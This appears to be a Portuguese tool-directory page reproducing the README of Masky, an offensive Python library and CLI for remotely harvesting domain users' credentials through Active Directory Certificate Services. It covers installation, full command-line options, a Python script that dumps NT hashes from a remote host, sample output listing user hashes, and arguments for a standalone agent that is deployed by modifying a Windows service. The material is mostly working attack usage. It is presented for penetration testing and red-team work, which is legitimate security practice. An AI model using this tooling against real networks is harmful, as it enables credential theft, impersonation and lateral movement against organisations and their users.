Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
Masky — Biblioteca Python com CLI que permite despejar remotamente credenciais de usuários de domínio via um ADCS sem despejar a memória do processo LSASS | Kitploit
Ferramentas/GitHubGitHub/z4ksec/masky
ExploraçãoTestes de PenetraçãoAutenticação
GitHubz4ksec/masky

Masky

Biblioteca Python com CLI que permite despejar remotamente credenciais de usuários de domínio via um ADCS sem despejar a memória do processo LSASS

Ver Repositório
404416há 1 anoRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Masky

PyPI version Twitter

Masky é uma biblioteca Python que fornece uma maneira alternativa de extrair remotamente credenciais de usuários do domínio através de um ADCS. Uma ferramenta de linha de comando foi construída sobre esta biblioteca para facilitar a coleta de PFX, hashes NT e TGT em um escopo maior.

Esta ferramenta não explora nenhuma nova vulnerabilidade e não funciona despejando a memória do processo LSASS. Na verdade, ela apenas aproveita recursos legítimos do Windows e do Active Directory (impersonação de token, autenticação por certificado via Kerberos e recuperação de hashes NT via PKINIT). Uma postagem no blog foi publicada para detalhar as técnicas implementadas e como o Masky funciona.

O código-fonte do Masky é amplamente baseado nas incríveis ferramentas Certify e Certipy. Agradeço muito aos seus autores pelas pesquisas sobre técnicas ofensivas de exploração contra ADCS (veja seção de Agradecimentos).

Instalação

A biblioteca Python masky e sua CLI associada podem ser simplesmente instaladas via repositório público PyPi da seguinte forma:

root@kitploit:~
pip install masky

O executável do agente Masky já está incluído no pacote PyPi.

Além disso, se você precisar modificar o agente, o código C# pode ser recompilado através de um projeto Visual Studio localizado em agent/Masky.sln. Será necessário o .NET Framework 4 para compilar.

Uso

O Masky foi projetado como uma biblioteca Python. Além disso, uma interface de linha de comando foi criada sobre ela para facilitar seu uso durante atividades de pentest ou Red Team.

Para ambos os usos, você precisa primeiro obter o FQDN de um servidor CA e seu nome CA implantado via ADCS. Essas informações podem ser facilmente obtidas através da opção certipy find ou da ferramenta Microsoft certutil.exe nativa. Certifique-se de que o modelo User padrão esteja habilitado na CA alvo.

Aviso: o Masky implanta um executável em cada alvo através de uma modificação do serviço RasAuto existente. Apesar da reversão automática do valor ImagePath original, um erro inesperado durante a execução do Masky pode pular a fase de limpeza. Portanto, não se esqueça de redefinir manualmente o valor original em caso de parada indesejada.

Linha de comando

A demonstração a seguir mostra um uso básico do Masky, visando 4 sistemas remotos. Sua execução permite coletar hashes NT, CCACHE e PFX de 3 usuários de domínio distintos do domínio de teste sec.lab.

Demonstração CLI do Masky

O Masky também oferece opções comumente fornecidas por tais ferramentas (número de threads, modo de autenticação, alvos carregados de arquivos, etc.).

root@kitploit:~
  __  __           _
 |  \/  | __ _ ___| | ___   _
 | |\/| |/ _` / __| |/ / | | |
 | |  | | (_| \__ \   <| |_| |
 |_|  |_|\__,_|___/_|\_\__,  |
  v0.0.3                 |___/

uso: Masky [-h] [-v] [-ts] [-t THREADS] [-d DOMAIN] [-u USER] [-p PASSWORD] [-k] [-H HASHES] [-dc-ip ip address] -ca CERTIFICATE_AUTHORITY [-nh] [-nt] [-np] [-o OUTPUT]
             [targets ...]

argumentos posicionais:
  targets               Alvos nos formatos CIDR, hostname e IP são aceitos, de um arquivo ou não

opções:
  -h, --help            mostra esta mensagem de ajuda e sai
  -v, --verbose         Ativa mensagens de depuração
  -ts, --timestamps     Exibe timestamps para cada log
  -t THREADS, --threads THREADS
                        Tamanho do pool de threads (máx. 15)

Autenticação:
  -d DOMAIN, --domain DOMAIN
                        Nome do domínio para autenticar
  -u USER, --user USER  Nome de usuário para autenticar
  -p PASSWORD, --password PASSWORD
                        Senha para autenticar
  -k, --kerberos        Usa autenticação Kerberos. Obtém credenciais do arquivo ccache (KRB5CCNAME) com base nos parâmetros do alvo.
  -H HASHES, --hashes HASHES
                        Hashes para autenticar (LM:NT, :NT ou :LM)

Conexão:
  -dc-ip ip address     Endereço IP do controlador de domínio. Se omitido, usará a parte do domínio (FQDN) especificada no parâmetro de alvo
  -ca CERTIFICATE_AUTHORITY, --certificate-authority CERTIFICATE_AUTHORITY
                        Nome da Autoridade Certificadora (SERVIDOR\NOME_CA)

Resultados:
  -nh, --no-hash        Não solicitar hashes NT
  -nt, --no-ccache      Não salvar arquivos ccache
  -np, --no-pfx         Não salvar arquivos pfx
  -o OUTPUT, --output OUTPUT
                        Caminho local para uma pasta onde os resultados do Masky serão armazenados (cria automaticamente a pasta se não existir)

Biblioteca Python

Abaixo está um script simples usando a biblioteca Masky para coletar segredos de sessões de usuários de domínio em execução em um alvo remoto.

root@kitploit:~
from masky import Masky
from getpass import getpass


def dump_nt_hashes():
    # Define os parâmetros de autenticação
    ca = "srv-01.sec.lab\sec-SRV-01-CA"
    dc_ip = "192.168.23.148"
    domain = "sec.lab"
    user = "askywalker"
    password = getpass()

    # Cria uma instância Masky com essas credenciais
    m = Masky(ca=ca, user=user, dc_ip=dc_ip, domain=domain, password=password)

    # Define um alvo e executa Masky contra ele
    target = "192.168.23.130"
    rslts = m.run(target)

    # Verifica se Masky conseguiu sequestrar com sucesso pelo menos uma sessão de usuário
    # ou se ocorreu um erro inesperado
    if not rslts:
        return False

    # Itera sobre o objeto MaskyResult para exibir usuários sequestrados e obter seus hashes NT
    print(f"Resultados do hostname: {rslts.hostname}")
    for user in rslts.users:
        print(f"\t - {user.domain}\{user.name} - {user.nt_hash}")

    return True


if __name__ == "__main__":
    dump_nt_hashes()

Sua execução gera a seguinte saída.

root@kitploit:~
$> python3 .\masky_demo.py
Senha:
Resultados do hostname: SRV-01
         - sec\hsolo - 05ff4b2d523bc5c21e195e9851e2b157
         - sec\askywalker - 8928e0723012a8471c0084149c4e23b1
         - sec\administrator - 4f1c6b554bb79e2ce91e012ffbe6988a

Um objeto MaskyResults contendo uma lista de objetos User é retornado após uma execução bem-sucedida do Masky.

Consulte o módulo masky\lib\results.py para verificar os métodos e atributos fornecidos por essas duas classes.

Agente Masky independente

A partir da versão 0.0.5 do Masky, o agente executável independente agora pode ser facilmente executado sem o CLI Python.

Aqui estão os argumentos:

root@kitploit:~
$> .\Masky.exe /ca:'SERVIDOR CA\NOME CA' (/template:User) (/currentUser) (/output:./output.txt) (/debug:./debug.txt)

O parâmetro /ca é obrigatório, como no CLI Python. Além disso, o argumento /currentUser foi adicionado para evitar a execução de impersonação de token. Na verdade, uma simples solicitação de certificado será realizada no contexto do usuário atual, com base no modelo fornecido (template). Os parâmetros /output e /debug permitem especificar o caminho onde os arquivos serão criados.

Os valores padrão são os seguintes:

  • currentUser: false (ou seja, impersonação está habilitada);
  • template: User;
  • output: ./Masky_results.txt
  • debug: ./Masky_debug.txt

Demonstração do agente Masky independente

Agradecimentos

  • Olivier Lyak pela ferramenta Certipy e pelos artigos associados
  • Will Schroeder e Lee Christensen pela ferramenta Certify e pelo artigo Certified Pre-Owned
  • Dirk-jan pelo PKINITtools e seu artigo ADCS NTLM relay
  • SecureAuthCorp e os colaboradores associados pela biblioteca Impacket
  • Pixis pela ferramenta Lsassy
  • Ferramenta Incognito e sua implementação no Metasploit
  • S3cur3Th1sSh1t pela ferramenta SharpImpersonation e pelo artigo associado
  • McAfee pelo artigo sobre técnicas de impersonação de token
Baixar ferramenta